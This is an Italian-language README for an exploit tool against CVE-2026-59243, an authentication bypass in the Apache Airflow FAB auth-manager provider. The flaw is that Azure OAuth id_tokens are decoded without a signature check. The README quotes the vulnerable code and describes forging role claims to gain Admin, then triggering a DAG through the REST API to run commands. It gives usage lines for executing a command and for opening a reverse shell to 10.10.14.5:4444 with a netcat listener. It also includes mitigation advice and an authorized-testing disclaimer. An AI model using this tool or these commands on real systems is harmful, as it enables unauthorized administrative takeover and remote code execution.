0xdak/cve-2026-59243_exploitExploit per il bypass dell'autenticazione OAuth FAB di Apache Airflow (CVE-2026-59243) che consente di ottenere accesso amministrativo ed esecuzione remota di codice attivando un DAG appositamente creato tramite la REST API.
Bypass dell'autenticazione nel provider FAB auth-manager di Apache Airflow
(apache-airflow-providers-fab), che porta all'esecuzione di codice remoto tramite un DAG attivato.
Il provider decodifica l'id_token Azure OAuth con la verifica della firma disabilitata di default
(airflow/providers/fab/auth_manager/security_manager/override.py, _decode_and_validate_azure_jwt):
verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
if verify_signature:
... # JWKS validation (only if explicitly enabled)
_parts = id_token.split(".")
_payload = _parts[1] + "=" * (-len(_parts[1]) % 4)
return json.loads(base64.urlsafe_b64decode(_payload)) # raw payload, NO signature check
I claims mappano direttamente all'identità — oid → nome utente, roles → role_keys — e
AUTH_ROLES_MAPPING trasforma un claim roles=["Azure-Admins"] nel ruolo Admin. Poiché
firma/issuer/audience del token non vengono mai verificati (CWE-347), un attaccante che completi
il flusso OAuth si autentica come Admin senza credenziali reali. Un Admin può quindi attivare un DAG
che esegue comandi arbitrari.
apache-airflow-providers-fab < 3.7.3 (con apache-airflow >= 3.0.2)3.7.3 (default impostato su verify_signature=True; token validato contro le JWKS di Microsoft)8080 (UI di Airflow + API REST)Solo libreria standard di Python 3. Il target deve avere il FAB auth manager con il provider Azure OAuth
vulnerabile configurato e, per il passaggio RCE, un DAG il cui task esegua dag_run.conf controllato dall'attaccante.
python3 exploit.py http://target:8080/ -c 'id > /tmp/pwned'
python3 exploit.py http://target:8080/ --shell 10.10.14.5:4444 # nc -lvnp 4444 first
GET /auth/login/azure → IdP → /auth/oauth-authorized/azure)
con un cookie jar. FAB accetta l'id_token non firmato/forgiato e accede come Admin, impostando un
cookie session e un cookie _token (il JWT atteso dall'API REST).POST /api/v2/dags/<dag>/dagRuns (Bearer _token) con {"conf":{"cmd":"..."}}
attiva un DAG il cui BashOperator esegue dag_run.conf['cmd']. Usa una logical_date unica
per ogni esecuzione (la coppia (dag_id, logical_date) è unica nel database dei metadati).Lo strumento riscrive inoltre l'host di loopback nel redirect authorize di OAuth verso il target, così
funziona anche contro un target remoto il cui IdP è pubblicizzato come 127.0.0.1 nella configurazione del server.
Questo sfrutta il difetto di verifica del token. Raggiungere Admin richiede che il flusso OAuth produca un token
con un claim roles elevato — banale dove IdP/token possono essere influenzati, poiché Airflow non verifica mai
la firma. Il passaggio RCE presuppone un DAG che esegua dag_run.conf (pattern comune);
in alternativa l'accesso Admin può essere sfruttato tramite altre funzionalità di Airflow.
Aggiornare apache-airflow-providers-fab a ≥ 3.7.3; non mappare mai direttamente i claim dei ruoli OAuth
asseriti esternamente ad Admin; non eseguire Airflow come root; tenere UI/API fuori da reti non affidabili.
Solo per test di sicurezza autorizzati e formazione. Usalo solo contro sistemi che possiedi o per cui hai esplicito permesso di test.